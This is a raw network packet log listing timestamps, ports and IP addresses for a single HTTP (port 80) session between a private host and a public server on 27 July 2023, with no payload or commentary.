Jul 27, 2023 18:26:47.986073017 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.986073971 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.986089945 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.986177921 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.986197948 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.986217022 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.986222982 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.986234903 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.986253977 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.986254930 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.986274958 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.986287117 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.986294985 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.986314058 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:47.986315966 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:47.986349106 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.026922941 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.026988983 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.027034044 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.027059078 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.027077913 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.027121067 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.027164936 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.027179003 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.027205944 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.027209997 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.027249098 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.027291059 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.027328968 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.027331114 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.027368069 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.027369976 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.027409077 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.027451992 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.027493954 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.027498007 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.027539968 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.027559042 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.027582884 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.027626038 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.027664900 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.027683973 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.027707100 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.027721882 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.027749062 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.027782917 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.027825117 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.027828932 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.027868986 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.027873039 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.027909994 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.027951956 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.027993917 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.028003931 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.028032064 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.028036118 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.028074026 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.028115034 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.028131008 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.028156996 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.028199911 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.028232098 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.028239965 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.028290987 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.028305054 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.028347015 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.028388023 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.028403044 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.028430939 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.028472900 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.028503895 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.028517008 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.028544903 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.028549910 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.028587103 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.028626919 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.028662920 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.028673887 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.028700113 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.028703928 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.028745890 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.028786898 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.028825998 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.028827906 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.028868914 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.028868914 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.028912067 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.028950930 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.028994083 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.029000044 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.029035091 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.029035091 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.029068947 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.029109955 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.029150963 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.029162884 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.029192924 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.029203892 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.029234886 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.029274940 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.029294014 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.029311895 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.029355049 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.029375076 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.029395103 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.029439926 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.029441118 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.029479980 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.029520988 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.029521942 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.029562950 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.029601097 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.029616117 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.029642105 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.029684067 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.029687881 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.029726028 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.029768944 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.029781103 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.029810905 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.029855013 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.029865026 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.029895067 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.029937029 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.029954910 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.029980898 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.030023098 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.030039072 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.030064106 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.030107975 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.030112982 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.030154943 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.030195951 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.030205965 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.030239105 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.030282021 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.030293941 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.030324936 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.030369043 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.030379057 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.030412912 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.030457020 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.030457020 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.030493975 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.030535936 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.030538082 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.030577898 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.030620098 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.030631065 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.030662060 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.030705929 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.030709028 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.030745983 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.030787945 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.030787945 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.030831099 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.030872107 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.030881882 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.030915022 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.030956984 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.030966997 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.030992031 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.031050920 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.042102098 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.042289019 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.068474054 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.068536997 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.068588018 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.068628073 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.068635941 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.068685055 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.068686008 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.068732023 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.068778038 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.068823099 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.068825006 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.068871975 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.068871975 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.068917990 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.068968058 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.068969965 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.069015026 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.069062948 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.069109917 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.069113970 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.069156885 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.069158077 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.069205999 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.069237947 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.069273949 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.069284916 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.069333076 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.069353104 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.069367886 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.069412947 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.069458961 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.069463015 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.069508076 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.069552898 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.069555044 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.069598913 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.069606066 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.069647074 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.069694042 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.069740057 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.069741011 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.069778919 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.069787025 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.069820881 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.069865942 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.069910049 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.069912910 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.069951057 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.069957972 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.070003986 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.070050955 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.070097923 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.070102930 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.070149899 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.070195913 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.070204973 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.070244074 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.070290089 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.070296049 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.070327044 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.070358992 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.070383072 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.070405960 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.070421934 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.070451975 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.070497036 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.070543051 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.070573092 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.070585012 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.070589066 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.070633888 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.070678949 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.070687056 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.070727110 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.070774078 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.070782900 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.070820093 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.070866108 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.070909023 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.070910931 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.070952892 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.070957899 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.071002007 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.071048021 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.071091890 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.071094990 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.071132898 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.071140051 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.071172953 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.071218014 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.071264029 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.071270943 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.071310043 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.071314096 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.071353912 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.071396112 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.071445942 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.071455956 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.071495056 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.071501970 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.071541071 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.071588039 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.071635008 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.071635962 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.071676970 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.071680069 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.071727037 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.071772099 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.071819067 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.071829081 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.071866035 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.071870089 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.071912050 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.071957111 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.072004080 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.072010994 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.072050095 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.072057962 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.072097063 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.072143078 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.072189093 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.072190046 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.072237015 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.072241068 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.072330952 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.072379112 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.072429895 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.072441101 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.072477102 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.072482109 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.072524071 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.072571993 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.072611094 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.072621107 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.072668076 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.072700024 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.072714090 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.072758913 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.072767019 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.072805882 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.072853088 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.072897911 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.072901011 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.072945118 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.072957993 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.072990894 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.073038101 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.073040009 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.073085070 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.073131084 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.073178053 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.073187113 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.073225021 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.073230028 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.073271036 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.073317051 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.073321104 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.073364973 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.073412895 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.073462009 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.073462963 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.073508024 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.073509932 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.073554039 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.073600054 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.073647022 CEST	80	49695	188.114.97.7	192.168.2.4
Jul 27, 2023 18:26:48.073648930 CEST	49695	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:26:48.073690891 CEST	49695	80	192.168.2.4	188.114.97.7
